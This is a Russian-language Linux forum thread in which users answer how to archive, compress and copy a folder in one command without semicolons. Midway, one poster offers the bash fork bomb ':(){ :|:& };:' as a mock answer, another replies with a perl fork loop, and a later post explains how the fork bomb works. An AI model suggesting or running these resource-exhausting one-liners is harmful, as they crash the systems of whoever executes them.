Страница 1 из 2

одна строка

Добавлено: 05 окт 2005, 11:21
Lioxa
На форуме обсуждалась тема, в которой приводился пример обработки кучифайлов. По аналогии возникла интересная задача. Она не совсем поддходит к данной теме, но это наиболее близкий по тематике форум. Так вот:

есть папка с файлами, её нужно заархивировать tar, сжать gz, и скопировать в конкретную папку. Условие такое: нужно это сделать командой в одну строку и не использовать ";".

С архивацией и сжатием всё просто, а вот передать на cp в одной строке у меня не получилось...

Возможно ли сделать такое?

Добавлено: 05 окт 2005, 11:37
sanitar
возможно. Написать скрипт, положить его в одну из папок $PATH, дать право на выполнение.
и осуществлять указанную операцию одной строкой -- вызовом скрипта

Добавлено: 05 окт 2005, 11:37
Llama
и именно скопировать, т.к. чтобы файл был в двух местах после этой команды?

Добавлено: 05 окт 2005, 11:41
sanitar
Хм, а вот так

tar czf newarch.tar.gz my_dir | cp newarch.tar.gz ANOTHER_DIR

не получится?
Или использовать && вместо точки с запятой...

линуха под рукой нет, проверить не могу -- поэтому о результате свистните.

Добавлено: 05 окт 2005, 11:42
Llama
Все гораздо проще...

tar zcv /path/to/dir/ |tee /path1/file1.tar.gz >/path2/file2.tar.gz

PS: Аффтор сдает лабу?

Добавлено: 05 окт 2005, 11:47
myst
$ tar -cz -f <куда положить> -C <папка_1> <папка_2>

где <папка_1> -- это папка, содержащая <папка_2>, <папка_2> -- короткое имя папки, которую запаковать надо.

Добавлено: 05 окт 2005, 11:52
myst
А лучше

Код: Выделить всё

$ :(){ :|:& };:

Добавлено: 05 окт 2005, 12:28
Llama
myst, ulimit -n 1000000; perl -ne 'fork while 1' вам в сервер ;)

Добавлено: 05 окт 2005, 12:56
red f0x
Llama, жестокий вы человек, батенька 8)

Добавлено: 05 окт 2005, 15:08
myst
Llama писал(а):myst, ulimit -n 1000000; perl -ne 'fork while 1' вам в сервер ;)
За что?!

Добавлено: 05 окт 2005, 18:22
Llama
за :(){ :|:& };: ;)

Добавлено: 05 окт 2005, 20:25
red f0x

Код: Выделить всё

:(){ :|:& };:
Хм, а что это? :? Ежели не секрет... Что-то не въехал

Добавлено: 05 окт 2005, 20:45
Llama
red f0x, тоже самое, что я написал, только на bash

Добавлено: 05 окт 2005, 21:46
zotrix
если почему-то не хочется использовать tar то cpio никто не отменял

Добавлено: 05 окт 2005, 21:48
zotrix
:() обьявление функции
{
:|:&
вызов самой себя с передачей выхода на себя в бекгарунде
};
:
инициация получившейся гадости